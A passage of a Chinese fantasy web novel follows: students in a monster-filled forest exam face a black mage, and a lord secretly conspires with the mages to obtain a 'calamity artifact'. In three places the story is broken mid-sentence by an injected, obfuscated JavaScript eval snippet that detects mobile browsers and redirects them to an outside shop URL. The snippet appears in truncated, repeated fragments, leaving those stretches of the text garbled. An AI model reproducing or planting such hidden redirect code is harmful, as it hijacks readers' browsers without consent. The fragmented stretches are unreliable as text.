菲莉西蒂还是和往常一样安慰尝试失败的朋友:“没事的,赞达,我自己来。” 她闭上眼,双手交握,慢慢感应四周的水元素。 湿透的衣服上,深色的水痕开始变浅,身上所有附着的水分都在缓慢地被剥离。水汽在她周身环绕,又迅速消散。衣物和头发以肉眼可见的速度变得干爽。 当菲莉西蒂重新睁开眼时,除了发尾还带着点潮意,整个人已经看不出方才浑身湿漉漉的狼狈样了。 赞达这才想起来菲莉西蒂对于水系魔法还是稍稍擅长的。虽然平时因为魔力储量问题很少使用,但她操控的精细度一直很高。 他总算放下心来,一屁股坐在地上:“真没想到还能碰到你,我都以为自己就要交代在这了。” 一提到这个,他又瞪向洞外,愤怒道:“这破考核到底在搞什么鬼!在南雾森林本来就够野外了,结果还放那么多莫名其妙的鬼东西!” 赞达越说越气,胖手在空中比划,一股脑地把自己的遭遇全倾诉出来: “我中午那会儿,连出去后要吃的蛋糕都想好了!结果传送水晶坏了,我正傻站着呢,旁边哗啦冲过去一群人。我还没反应过来,就被其中两个一人架一边胳膊,硬生生给扛走了!” 赞达说到这里,还心有余悸。 “我回头一看,后面追着个超大的玩意儿,长得像蜥蜴!但它全身都往外冒那种黏糊糊的绿浆,滴到哪儿,哪儿就冒烟!爪子扒拉过的地方,全都被腐蚀掉了!” 结果大家好不容易躲开一个,又来一个,往边界跑还发现老会回原地,硬是跑不出去。 最后因为一大群人太显眼,也不好分工作战,大家就又各自组团行动了。 自己被迫与同为第八中级学院的艾特南一起行动,一路上没少因为这个战斗狂而卷入战斗。 赞达暗自嘀咕。 艾特南没听见他心里的吐槽,终于从岩壁上直起身,向着他们走来。 “它们不是学院放置的。” 艾特南站定后直直看向菲莉西蒂,极为严肃: “我绝对不会判断错,它们是魔物。” 菲莉西蒂的心逐渐下沉,但表情不显。主角还在她脑海里咋咋呼呼: “我的天!总算有个识货的了!” 赞达脸色瞬间苍白,下意识往菲莉西蒂身边缩了缩:“魔物?不是在战争后期就被清干净了吗?还有你怎么知道这是魔物?!” 他又狐疑道:“那咱们之前碰到别的考生一起讨论的时候,你怎么半句话都没讲!” 艾特南不吭声,只是一直看着菲莉西蒂,像是在确认什么。 “和这笨蛋组队后,我们一共碰到了七种不同种类的怪物。”他终于开口,“每种形态都不一样,但无一例外,它们身体表面都有着黑色纹路。” “埃德蒙家族在苍白之灾时期驻守希尔维斯特边境。关于魔物的辨识,是每位族人的必修课。” 他往前又走了一步:“但最近两次,它们的攻击性明显变弱了,比起攻击考生,更像是在搜找什么东西。” 听到这些离他的生活如此遥远的东西,赞达屏住呼吸,心里却在犯嘀咕。 怎么刚刚啥也不说,现在说一大堆。 “刚才那只魔物,”艾特南抱胸,似是随意道:“我一直跟着它,在找到这个岩洞之前,它在这片区域徘徊了很久,明明撞见了一个腿受伤躲在灌木丛里的考生,却只是从他面前爬过,头都没偏一下,径直朝这边来。” 赞达疑惑:“不是,你到底想说啥?” 菲莉西蒂始终一言不发。 “我想问,” 艾特南往前再迈一步,居高临下地俯视菲莉西蒂,属于他的魔力压迫在窄小的岩洞里铺展开来。 赞达下意识抵抗,发现这威压竟还主要冲着菲莉西蒂,破口大骂:“艾神经,你有病吧?!” “菲莉西蒂。” 他面色冷酷,绿眸审视着眼前的女生,笃定道:“你身上有其它东西。” “那些魔物找的,是不是就是这个?” 菲莉西蒂握紧拳头,她张嘴,正要说话。岩洞外突然传来清晰的低嚎,三人瞬间绷紧神经。 * 同一时刻,希尔维斯特主城,领主办公室。 门被“砰”地一声推开,门板狠狠撞在墙上,发出巨响,连墙上挂着的各类表彰都在晃动。 科琳站在门口,神情沉重。她平日里一向干净利落的棕色短发此刻极为散乱,整洁的法袍上也沾了不少叶子,明显是一路上飞过来的。 她手里紧紧捏着一枚传讯水晶,脸上带着急切: “奥烈弗大人!我有重要的消息要汇报!” 奥烈弗坐在书桌后,手里端着一杯热气腾腾的红茶。他脸上挂着惯常的温和笑容,眼神平静,没有因科琳的贸然闯入表现出半分惊讶,安抚道:“科琳老师,先坐下。喝口茶暖暖身子,有什么事慢慢说。” 科琳快步上前,直接将水晶放在书桌上,严肃道:“考场出问题了。我们接收到了一个匿名传声魔法,发出者设置了屏蔽阻碍,根本无法追踪,但里面的内容如果是真的,后果不堪设想!” 奥烈弗放下茶杯,指尖轻叩桌面,随即拿起那枚由魔力凝聚的传声水晶。水晶内部澄澈透明,内容清晰,说明了希尔维斯特升学考场内有黑魔法师闯入,并将对应的魔物特征说得极为明确,还强调了监控水晶与传送水晶的失效。 “……考生伤亡情况不明,但已有监考官遇害。请立即组织救援。” 被处理过后的电音结束,水晶熄灭,代表这就是全部内容。 老领主盯着水晶,沉思良久,才将它放回桌面。他叹了口气,声音依旧温和,沉稳道:“科琳老师,老夫理解你的急切。但一枚匿名传声,无法追踪源头,虽然说得头头是道,但明明考场内传回的画面也一切正常。” “老夫特地安排的人员也每日定时传讯,汇报一切良好。若是真有如此严重的危机,为何内部没有丝毫消息传出?” 他再次端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“第一,不许惊动考场里的任何人,包括监考老师和其他考生,避免引发混乱。”奥烈弗一条条说着,带着不容反驳的坚定,“第二,若是发现真的有危险,先传声回来向我汇报,等我下达指令,不许擅自行动,不许与黑魔法师正面冲突。” 他停顿片刻,抬眼看向科琳:“第三,这件事,只有你我两个人知道,不许告诉任何人。明白吗?” 科琳只是点头,一言不发,抓起徽章攥在手里,转身就走。 办公室的门重新关上,屋子又恢复了往常的宁静。 奥烈弗独自坐在椅子里,良久,低头看向书桌最底层的抽屉。抽屉感应到他的魔力后,自动拉出。 里面是一枚被黑色丝绒小心翼翼裹着的水晶。 他掀开丝绒,水晶暴露在灯光下,里面封存着一缕暗紫色的魔力。在水晶底部不起眼的地方,刻着一个扭曲的黑色眼睛。 老领主把水晶举到眼前,对着灯光仔细欣赏。暗紫色的光透过水晶,照进他苍老的瞳孔深处。 他不再挂着往常的温和微笑,面无表情时,看不出半分情绪。 * 南雾森林边缘外。 在高空处,空气扭曲旋转,塞瑟隆·奥布莱顿凭空踏出,夜风吹起他的衣摆。他抬起眼,红色瞳孔里映出整片南雾森林的轮廓。 在常人眼中,这片森林与往日并无不同,依旧是浓密的高大树木与阻止窥探视野的黑暗。 但在他眼里,整片森林上空都罩着一层暗紫色隔膜。光膜边缘不断有黑色雾气涌动,缓缓向内收缩。 “让我看看。” 他缓缓抬手,指尖掠过空气,在所过之处留下一道道焦黑痕迹。暴烈的电弧滋啦窜动,渴望着战斗。 “你们这些垃圾又想干些什么。” 塞瑟隆的身影再次变得模糊。他精准地朝着光膜最薄弱的突破点走去,每走一步,周身的空间就划过一道道小雷电,风自动向两侧避开。 仿佛这片被黑魔法封锁的天地,都在无声地为他让路。 19. 黑袍人的突袭 洞外的嚎叫仅维持几瞬,便归于宁静。 赞达紧张地握住法杖,菲莉西蒂也警惕地看向洞口。艾特南朝他们做了个手势,压低身子,无声地挪向洞口,侧耳细听。 死寂般的安静。 在紧张之中,菲莉西蒂在脑海里询问另一个擅长感应的存在:“主角,你能感应到外面的情况吗?” 铃铛闷闷不乐:“刚刚那个家伙传输给主角的魔力顶多就是让主角苏醒过来,主角现在已经是一个废魔器了呜呜。” 它又话题一转,恨铁不成钢地说:“你倒是好好想想怎么应对那个白毛小子吧!主角看他已经有点怀疑你了。” 菲莉西蒂没吭声,只见艾特南通过木系魔法感知外面的情况后,转过身摇了摇头,口型微动:“没看见东西。” 赞达肩膀微松,嘴角咧开想开个玩笑来冲淡洞里沉重的气氛,就见艾特南的目光又猛地锁定在自己身旁的菲莉西蒂身上。他不爽地咂舌:“你再针对菲莉西蒂,我就——” 衣袍下摆猛地被拽紧。 力道大得不像菲莉西蒂能有的。 赞达赶紧转头查看,只见菲莉西蒂紧紧抓着他的袍角,手都在发颤,她的脸低垂着,肩膀在抖。 “菲莉西蒂?”赞达那点火气瞬间灭了,焦急地想要扶住她。 她另一只手死死按着额头,指尖陷进发根,手背绷出青筋。 头好疼。 这种熟悉的痛感还真是一如既往地让人如坠地狱。 连铃铛也完全没反应过来,急得连语速都加快了:“你又怎么了呀!?主角下次再也不催你了呜呜,你别这样!” 剧痛让菲莉西蒂的视野开始晃动,岩壁、赞达惊恐的脸,全部都扭曲成了模糊的块状物。 “艾特南!”赞达扭头吼,“她不对劲!” 艾特南握紧法杖,视线快速扫过洞外,没有任何异样。而他撒播在外面的植物种子也在传回“一切正常”的信息。 不对劲。 他咬牙,一切都太正常了。 菲莉西蒂死死咬住下唇,结痂的伤口再次破裂,努力从疼痛中抽身,声音嘶哑道:“黑……” 艾特南心头一沉。 赞达没反应过来:“黑什么?” “黑魔法……” 后两个字刚说完,艾特南瞳孔猛地收缩,以极快的速度旋转法杖,水晶爆出刺眼的绿光,对准洞口的黑暗。 在他施展魔法的一瞬间,岩壁细缝快速渗出黑雾,带着恶心的腐臭味道。 赞达终于回过神并且意识到现在的情况有多么危急,赶忙伸手去拽菲莉西蒂的胳膊:“起来!我们——” “走”字被他卡在喉咙里。 那些雾凝聚在一起,疯狂地翻滚涌动,里面伸出了一只手。 惨白,骨节分明。青紫色血管清晰可见,黑色的指甲修剪得十分整齐。 那只手轻轻按在岩壁上,表面立刻陷出掌印,边缘一团糊黑。 “哎呀。” 一张戴着白面具的头探出,额头处的扭曲黑眼刚好对上菲莉西蒂因恐惧而睁大的双眼,在看清这双眼睛的瞬间,面具底下的眼睛微微眯起。 他用另一只手挠头,声音阴冷:“还挺热闹。” 雾气向两侧分开,一道瘦小的身影走了出来。他的身体被黑袍遮得严严实实,只有手和面具露在外头。 明明离黑袍人最近,艾特南却始终站着没动,绷紧全身肌肉,死死锁定对方,仔细捕捉着任何一丝可乘之机。 他冷冷道:“苍白之灾的余孽。” 黑袍人歪了歪头,面具转向他,脖子转动的动作有些僵硬。 “余孽?”带着笑意的话语传出,却泛着阵阵寒意,“小朋友,这话真伤人。我们只是……休息片刻。” 他抬起右手,食指伸出,朝艾特南方向轻轻一点。 只是一个动作。 艾特南周身的空气便迅速化作一种透明胶质,裹住他的四肢躯干,同时将他的头也牢牢包住。他奋力挣扎,胶质纹丝不动,反倒越收越紧。 “艾特南!”赞达迅速召出风刃劈向黑袍人。 风刃撞上黑袍前一刻,便直接消散在空中。黑袍人甚至没侧目,只是直直看向菲莉西蒂,状似好奇道:“小妹妹,我很好奇,你是怎么发现我的?” 脖子骤然伸长,面具直怼到菲莉西蒂面前,逼问:“还有,它在你身上是吧?” 菲莉西蒂忍受着疼痛,控制住铃铛在她脑海里的悲嚎,手死拧住自己的大腿,让自己保持清醒。 赞达想挡在菲莉西蒂身前,腿却抖得站不直。而不远处的艾特南则困在胶质里,脸色因缺氧泛出青灰。 脖子上的面具围着菲莉西蒂绕圈,他的身体也在僵硬地走来,仿佛被人控制的木偶。 “琥珀色。”黑袍人呢喃,“这个瞳色可真少见。” 原本只是以为来抓个小虫子,没想到还有意外的收获。 看到这双眼睛,他仿佛又回到了那个冰冷的峡谷深处,冰壁上溅开的血已经冻成黑红色的冰晶,空气里充满了血腥味以及独属于黑魔法阵的腐臭味。 他那时还拥有着真正属于自己的身体。 他躺在法阵中央,全身没有一处完好,视野因为失血开始发黑,模糊的边角里,一双眼睛亮着。 琥珀色。 导致他变成这副样子的罪魁祸首就这样蔑视着他,瞳孔里映着他溃烂的躯体和身下快要干涸的法阵。 然后那个人,那个女人,只是动了下手指。 他身下的仪式阵立马破碎,花了他数年心血的符文就这样在空气中化作灰烬。反噬的魔力直直冲击他的心脏,冻住的心脏在那一瞬间体会到了灼烧的滋味。 他尖叫着,在极度的寒冷中感受到最炙热的死亡。 那双琥珀色的眼睛依旧平静,仿佛这一下之于她,只是碾死了一只微不足道的虫子。她就这样转身离开,留下数千具尸体,暴风雪的呼啸吞没了她白袍的下摆。 后来他在研究所的帮助下,花费多年时间才拼凑出新的身体。但有些东西烙进灵魂里就永远无法忘却了,比如在低温下犹如置于火炉中的烘烤,比如那双令人难以忘却的琥珀色眼睛。 只要看见类似的颜色,这具新身体的关节就会开始僵硬。 就像现在这样。 黑袍人猛地回神。 面具下的呼吸重新平稳。他终于站定在菲莉西蒂面前,慢慢抬起手朝她的眼睛探去。动作很慢,像刻意展示某种掌控感,但指关节的僵硬又出卖了他的不平静。 同一时刻,菲莉西蒂周身的空气也变成坚硬的胶质,将她禁锢在原地。连头都被固定在一定的角度,被迫直视那张逼近的纯白面具。 指尖离她的眼皮越来越近。 黑袍人尖细的声音从面具后传出: “魔王在上。” 指腹触上她左眼的睫毛。 “你这双恶心的眼睛——” 黑色指甲抵着眼皮,轻轻下压。 “就由我来抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164948|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀。” 菲莉西蒂死死忍住颤抖的本能。 这时,艾特南那边炸开闷响。 黑袍人动作顿住,面具转向声源。 艾特南右手牢牢抓着法杖,控制周围空气压缩炸开,终于将胶质弄出一个缺口。他挣脱出来,左手牢牢捂住右臂,皮肤裂开一道道恐怖的血痕,强行站稳。 他的法杖在方才的爆炸中已经完全损坏了。 “赞达!”他吼着,“带她走!别让这家伙得逞!” 同时用手狠狠压向地面。 “轰!” 地面震颤,粗壮藤蔓破土而出,表面覆盖着尖锐的利刺,边缘缠绕着荆棘。藤蔓疯长,在空中交织成网,瞬间将黑袍人与那两人隔开。 那些藤曼同样将禁锢住菲莉西蒂的胶质全部刺破。 赞达拽起菲莉西蒂:“跑!” 菲莉西蒂赶紧跟上,她回头瞥见:藤蔓网后,黑袍人站在原地,只是抬起了那只惨白的手。 食指再次一点。 最外层藤蔓瞬间枯萎,化作黑色灰烬飘散。 “这种类型的木系魔法,你是埃德蒙家的人?”黑袍人歪头,脖子发出脆声,“有意思。你们家族不是向来擅长保全自身的吗?” 艾特南深吸气,愤恨道:“闭嘴!” 双手在身前快速结印,绿光从掌心涌出,裹挟着一股强大的力量。 黑袍人愣住了:“燃烧本源?” 他诧异道:“就为了两个同学,值么?” 艾特南的皮肤表面已经浮现叶脉状细纹,脸色以肉眼可见的速度苍白下去,但是空中的那道网却更为坚固,牢牢将黑袍人困住。 他不屑道:“别把我和他们扯到一起,我只是想让你为你的话付出代价罢了。” 艾特南目光坚定:“埃德蒙家族的荣耀,不容你玷污!” 另一边,赞达和菲莉西蒂刚跑到洞口,就猛地一个大停步。 赞达张大嘴巴,看着眼前众多巨大的蜘蛛形态魔物,止不住地颤抖:“这下想飞也飞不了了。” 铃铛已经生无可恋了:“主角早知道不那么累了,直接死了算了。” 菲莉西蒂咬牙,看着第一只蜘蛛魔物的节肢探入洞口,紧接着第二只、第三只……全是成熟体,红色复眼在黑暗里移动,口器不住地滴落酸液,在地面蚀出深坑。 “找……到……了……” 魔物口器发出模糊的音节,让人头皮发麻。 看到那些魔物来了,估摸着那名研究员也在看着,黑袍人恢复漠然,遗憾道:“可惜,还想再和你们玩玩的。” 他的掌心冒出一个黑色浓雾,它蠕动着膨胀扩散。 所过之处,空气扭曲成诡异的漩涡,那些被艾特南当作最终法宝的藤曼瞬间枯萎殆尽。他们脚下的地面在黑雾的蔓延下,变成了黑色沼泽。黑泥裹住他们的双脚,拉住他们缓缓下沉。 菲莉西蒂能感受到布包里铃铛的震动,在让人难以忍受的头痛中,她看着黑袍人的背影,看着魔物涌进的洞口,看着身边人的挣扎。 自己为什么总是那么弱呢? 为什么总是保护不了所有自己珍视的事物? 为什么? 恐惧、厌恶、忍耐、等待……所有在研究所被强行封藏的回忆席卷而来。 腹部深处,那个她一直想要隐藏的魔偶核心,开始不受控制地剧烈震动。 那些被她死死埋葬的本能终于不再蛰伏,它们咆哮着,冲破所有枷锁,喷涌而出! 20. 垂死的困兽 赞达举起双手,大半个身子陷在泥里。 黑泥已经淹到胸口,挣扎只会让身体陷得更深。他拼命伸手想抓住什么来减缓下陷的速度,可岩壁离他至少有五六米远。 艾特南大概也跟他一样。那家伙要是能动弹,按他那种不甘于人下的性子,肯定早就冲上去了。可黑雾深处属于黑袍人的人影依旧不紧不慢地踱着步子,像是在享受猎物最后的挣扎。 “该死!” 赞达咬着牙,因为法杖早就不知道掉哪去了,只能凭借自身施展魔法。可好不容易凝聚起来的风刃还没成型就被黑雾一口吞了,那团雾甚至膨胀了一圈,发出满足的咕噜声。 他担心地望向不远处的菲莉西蒂。 她垂着头,一动不动,黑色卷发盖住了她的表情。沼泽已经盖住了她的手臂,马上就要漫过肩膀。 赞达张嘴正想喊她,一道白光毫无预兆地从视野里一闪而过,黑暗被光强行撑开一道口子。 这是什么? 赞达还没来得及反应,视网膜上只留下白茫茫的一片,刺得他瞬间闭眼,生理性泪水却已溢出。 待缓过来一会后,他才敢眯开眼缝,终于看到了光的来源—— 菲莉西蒂的长发向上飘起,发梢跳跃着暴戾的银白电弧,伴随着阵阵滋拉声。 “菲莉西蒂!你怎么了?别吓我呀!” 他着急地伸手想碰她,可指尖刚靠近她周身半米,一道细小的电弧警觉地冲过来,狠狠电了他一下。 像是护着至宝的小骑士。 “嘶!” 赞达猛缩回手,指腹上已经多了道焦黑的伤口,皮肉狰狞翻开,在麻痹感消退后才后知后觉地感到疼痛。 而菲莉西蒂也终于抬头,与他对视。 赞达愣住。 那双总是含着温和笑意的琥珀色瞳孔不见了,取而代之的是一片银白,瞳孔缩成针尖大的竖线,什么情绪都看不着,宛如毫无理智的野兽。 黑雾被电弧驱散后,艾特南也看清了这边的情况。他动作顿了一会,很快又恢复。黑雾凝成的锁链死死缠住他的手腕,泥沼已经陷到腰际。他正操控着几根藤蔓试图把自己往上拽,藤蔓表面布满裂痕,显然撑不了多久。 黑袍人的反应最快。 他甚至没有半分犹豫,黑雾就从他掌心爆开,化作无数黑色细针射向菲莉西蒂。 菲莉西蒂抬起左手,哪怕那只手前一刻还深陷泥潭,但她的动作却异常轻松,而后在空中一划。 仿佛呼唤。 而岩洞深处的湖泊回应了。 数道直径超过两米的水柱从湖泊出跃起,裹挟着湖底的淤泥和碎石咆哮着冲进岩洞。水流狠狠撞上黑雾凝成的针,瞬间将它们吞没。 水柱没有停。 它们冲进泥沼,泥浆飞溅而起化为黑雾,地面重新露出坚硬的岩石,仿佛刚才那片吞噬一切的沼泽只是幻觉。 赞达感觉自己被一股巨力托了起来,他呛了口水,手脚并用地想游向菲莉西蒂。可水势太猛,他被冲得东倒西歪,视野里全是翻滚的浪花和气泡。 “菲莉——” 一只手抓住他的衣领,把他整个人从水里拎了出来。 赞达在半空中狼狈转头,看见艾特南那张脸。湿透的白发贴在额前,脸上溅满泥点,嘴角还挂着血丝。最吓人的是他的手臂,皮肤皱得像是干枯的树皮,表面爬满深绿色的叶脉纹路,显得极为恐怖。 “你别光救我呀!菲莉西蒂还在——” “闭嘴。” 艾特南呵道,眼睛死死盯着下方。 赞达顺着他的视线低头,浑身冰凉。 整个岩洞已经变成一片汪洋。湖水被某种力量限制在洞内,明明出口近在咫尺,水却像被无形的墙壁挡住,一滴都流不出去。 而菲莉西蒂不见了。 突然,电弧在水中快速闪现,像巡逻着的士兵,疯狂游窜。 赞达不住地颤抖。 如果他刚才没被及时拽出来,现在应该已经被活活电熟了。 他声音发颤:“菲莉西蒂不会这样的……她最害怕伤害别人了——” “虽然我不知道,为什么魔力向来低微的她暴走后会变成这样,但现在有一件事很明显,” 艾特南冷静回答,松开抓着赞达衣领的手,改用藤蔓把人捆住拽到自己身边。 “趁现在那个黑魔法师还没注意到,我们得赶紧出去寻找救援,这里已经不是我们能参与的了。” 赞达猛回头,几乎要挣裂捆缚的藤蔓,嘶吼道:“所以你是要把菲莉西蒂一个人丢在这鬼地方?!你不是最喜欢逞英雄冲第一个吗?现在怎么怂了!?” 唾沫星子几乎要喷到艾特南脸上。 “而且我们之前不是早就试过出去了吗!?我们去哪里找救援?我看你就是怕了,想自己逃命!” 艾特南早有准备,操控藤蔓将他死死锁在半空,头也不回地加速飞离岩洞。他额头青筋突起,大声骂道:“蠢货!你给我抬头看看!” 赞达被吼得一怔,下意识仰起脸,屏住呼吸—— 只见原本完全漆黑的空中,出现了一片紫黑色的巨大屏障,此刻正从中央一点,缓慢地朝四周张开一道裂缝!边缘不断扭曲,像是被一双无形的巨手强行撕开的薄膜。 艾特南咬牙切齿的声音传来。 “现在我一个半死不残的,你一个只会飞的,留下来也帮不上什么忙!所以现在你应该祈祷,那家伙能撑到我们叫来救援。” 赞达死咬住下唇,终于放弃挣扎,看着岩洞在他的视野中快速消失。 * 岩洞上方空中,黑袍人静立在一团黑雾上,默默看着着那两个身影仓皇飞向屏障裂缝,消失在黑暗中。 屏障被破坏了,说明留给他的时间也不多了。 他苍白的手指,有一下没一下地轻挠着冰冷的面具侧颊。 “活捉?”他侧着头,像是在和什么人对话,“跑掉两只无关紧要的小虫子,也无所谓。” 他的面具缓缓转动,重新看向下方岩洞方向,那里,狂暴的银白电光正在水里到处跳动,昭示着真正目标的存在。 “我推测这应该是灾厄之器的力量。虽然情报中并未说明它有这种能力,但那么多年过去,有什么变故都不奇怪。”他继续说着,苍白的手指停下动作,轻轻按在面具上,“现在的局面……想完好无损地带走,确实有点棘手了呢。” 另一端传来了不容置疑的命令。黑袍人弓腰,姿态谦卑:“抱歉,我一定会谨遵您的命令,确保两个目标都尽可能完好。” 察觉到对方已经结束传声,他直起身,黑雾再次从他宽大的袖口中涌出,迅速沉入水中。黑雾凝聚成数十只漆黑手掌,哪怕电弧疯狂冲击,也不为所动,悄无声息地向着水底的身影浮去。 带走灾厄魔器的目标就悬浮在湖水深处。 她蜷缩着身体,睡着似的闭着眼,双臂环抱着自己,浓密的黑色长卷发在水中飘散着起伏,将她的脸庞半掩在一片朦胧中。随着她的呼吸,一串串泡泡从嘴巴处呼出。 黑手猛地加速,分别抓向她的四肢,以及那个被她无意识紧紧抱在怀中的陈旧布包。 就在即将触碰之时,菲莉西蒂睁开了眼睛,银白的眼眸透过发丝的间隙,亮得惊人,如同坠入水底的宝石。 因为醒来,泡泡被她懵懂咬破。 同时,一道耀眼到极致的粗壮雷柱,撕裂了森林上空本就昏暗的天幕,带着令万物战栗的毁灭气息,垂直轰落! 目标直指黑袍人。 黑袍人在雷光亮起的刹那就已抬头。他冷哼一声,一面黑气缭绕的护盾瞬间在其头顶上方展开,挡在雷柱的路径上。 “轰!!” 震耳欲聋的爆鸣在岩洞炸开!护盾剧烈震颤,裂纹蔓延,逸散的雷电向四处溢散,碎石落下。 黑袍人被猛地下压,他狠狠咬牙,承受着抵抗冲击的反噬,这一下至少损伤了他一大半的魔力储量。 所幸这个攻击是施法者在意识不清醒的情况下发出的,威力并不能完全发挥。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那双被银白彻底覆盖的眸子里,极快地闪过了一丝清明。她似乎下意识想抬头,但血已经流入眼眸,瞳孔微微颤动,仿佛有什么东西正在意识深处艰难地挣扎。 但挣扎转瞬即逝。 下一秒,更为狂暴的雷霆再次从她体内爆发,就像被疼痛和束缚彻底激怒的凶兽! 黑袍人早就预料到目标的棘手。黑雾在他身前迅速翻涌,凝成数十把短刃,密密麻麻悬浮在空中,每一把的刃尖都避开了菲莉西蒂的致命点,却封死了她所有可能的闪避路线。 “游戏该结束了。”黑袍人冷冷宣判。 * 南雾森林深处,那棵内部被挖空的巨木房间内。 高个黑袍人透过一面悬浮的水晶,将岩洞内发生的激战尽收眼底。她的呼吸,不知从何时起变得异常急促。 指腹缓缓抬起,带着一种近乎朝圣的虔诚,轻轻划过冰冷的水晶镜面。 水晶因为无法承受她强大的魔力威压而微微颤抖。高个黑袍人只是专注地在菲莉西蒂的身影轮廓上,慢慢勾勒着,动作极为轻柔,仿佛在触碰世间最脆弱易碎的珍宝。 “我们的……1号……长这么大了呀…”她低声呢喃,嗓音是从未有过的温柔,与平常的冷酷漠然截然不同。 高个黑袍人微微向前倾身,将额头抵在水晶镜上,面具下的视线痴迷地看着镜中菲莉西蒂的脸庞。 “快了,就快了……”她仿佛在轻声和谁说着话,很认真,“我会带它回来,把它安全地,带回到我的身边。我们约好过的,这次…这次我一定会好好看着它,好好保护它……只有这样……” 她的手指停在镜中菲莉西蒂的位置,微微用力,掌心合拢,仿佛要将什么牢牢抓住。 “只有这样,你才会——” 话还没说完,悬浮的水晶镜一闪,画面荡开,随即被另一股更强大的传声魔力强行介入。 高个黑袍人所有的动作骤然僵住。 那近乎痴迷的温柔神色瞬间从面具下褪去,急促的呼吸声也戛然而止,重新回到以往的冷酷神情。 “卡利佩丝女士,情况怎么样了?” 是希尔维斯特领主奥列弗的声音。 21. 希望 镜面旋转。 奥烈弗的脸浮现出来。他手里端着茶杯,热气氤氲而上,在画面边缘扭曲变形。 “卡利佩丝女士。”他的声音温和,仿佛在问候一位老友,哪怕镜面彼端是一个戴着诡异面具的黑魔法师,“有人似乎从森林里往外传了点东西。” 他轻轻喝了口茶,动作从容,“我记得,你之前向我保证过,在你们完成回收之前,里面的一切消息都会被屏蔽。” 卡利佩丝昂首:“是。屏障理论上能隔绝一切常规通讯。” 奥烈弗抬眼看她:“现在消息传出来了,而且有些内容的确超出了我的预料。” 他放下了茶杯,眼神犀利:“卡利佩丝女士,我们合作的基础,是你保证能控制局面。现在情况有变,万一有学生伤亡……” “不会有伤亡。” 卡利佩丝打断他,透过面具看向镜中那张苍老却充满野心的脸。 “我投入的那些实验品,都是攻击性有限的次级种。攻击性不强,智商低下。学生们只要别蠢到站着等死,活下来不难。” 她冷笑一声:“既然选择与我们合作,就不该在这里假惺惺地做你那个关心学生的好领主,真是让人倒胃口。” 奥烈弗向后靠在宽大的扶手椅里,双手手指交叉放在腹部。灯光从侧面打来,在他脸上投下深深的阴影,让人看不清他眼底的情绪。 “我需要灾厄魔器,卡利佩丝女士。”他终于开口,“希尔维斯特需要它。战争结束七年了,我们还在用老掉牙的防护阵。东边的赛纶迪斯已经研发出了最先进的防护系统,中部的艾瑟瑞亚今年新建了数十座浮空要塞。而我们呢?我们连魔轨列车都是别人施舍出的钱修的!” 他身体微微前倾,那张布满风霜的脸凑近镜面,眼底透出执拗。 “你知道外面的人怎么叫我们吗?树上的猴子!因为我们就知道躲在森林里,守着几棵破树过日子。”他笑了,却没什么温度,“我不在乎魔器是什么来路,黑魔法也好,禁忌技术也罢。我只要它能用,能变成希尔维斯特的筹码。” 卡利佩丝静静地听着,面具后的表情无从得知。等他说完,她才开口,依旧是一如既往的冷淡:“当然,这不就是我们说好的吗?我负责把魔器弄到手,你负责‘清剿黑魔法师余孽’。到时候魔器自然归希尔维斯特所有,谁也说不出什么。” 明明自己都是黑魔法师的一员,话里话外却将自身完全脱离出去。 “你真是个合格的领主,奥烈弗先生。”她继续说着,“为了领地,什么都能利用,也什么都能牺牲。” “彼此彼此。”奥烈弗露出温和的笑,“你不也是为了某个目的,才答应合作的吗?虽然我不知道那是什么,但肯定不是为了帮我。” “那么,我想要的灾厄魔器,现在情况如何呢?” 卡利佩丝刚想回答,却猛地扭头,看向房间角落。 那是一枚她放置的水晶柱,此时红色光芒急促闪烁,频率越来越快。 “卡利佩丝女士?”奥烈弗察觉到异常。 “合作终止。” 卡利佩丝转头,无所谓般开口。 “什么?” “我说,合作终止。”她伸手按向镜面,指尖亮起暗紫色的光,“屏障破了,有不该来的人入场了,计划作废。” “等等!你——” 镜面暗了下去。 卡利佩丝快步走到水晶柱前,手掌贴上柱面。红光渗进她的皮肤,各处的监视节点画面涌入脑海。 她看见了一个人。 他只是朝天空做了个简单的撕纸动作,那道耗费众多黑魔法师无数精力生成的屏障就这样被扯出了一个大洞。 黑发男人拍了拍手,转头,精准通过监视节点与她对视,红眸里满是杀意。 卡利佩丝迅速切断连接,咳出黑血,她咳嗽着努力将反噬压下。 “塞瑟隆·奥布莱顿……” 他怎么在这儿?他不是应该在西部梵希兰德吗?边境兽潮即将来临,奥布莱顿怎么会放他跑到这种偏僻地方来? 除非…… 卡利佩丝转头,看向水晶镜。 镜中,菲莉西蒂召唤的雷柱正从天而降,银白眼眸目空一切,与她画面中的男人身影逐渐重合。 * 南雾森林某处空地,雷柱劈落的瞬间,几个刚结束战斗的学生同时僵住,以为又是什么新的敌人,警惕抬头。 他们脚边躺着一头形似巨蜥的魔物尸体,还在滋滋冒着被火焰燎过的焦臭黑烟。带头的女生脸上溅了几道血痕,法袍袖子被撕开一大条口子,露出的手臂上有着深可见骨的血淋淋伤口。她随便扯了截布条勒住上方止血,手法粗糙但有效。 “那、那是什么……”一名短发男生声音发颤,连手中的刀掉在地上都没意识到。 所有人都目瞪口呆,看着那道撕裂了整个昏暗天幕的雷光精准狠戾地扎进森林深处。即使隔着这么远的距离,那雷光炸开的瞬间,所有人裸露的皮肤都蹿过一阵麻痹感,不敢相信这样的攻击如果面向他们,该有多么可怕。 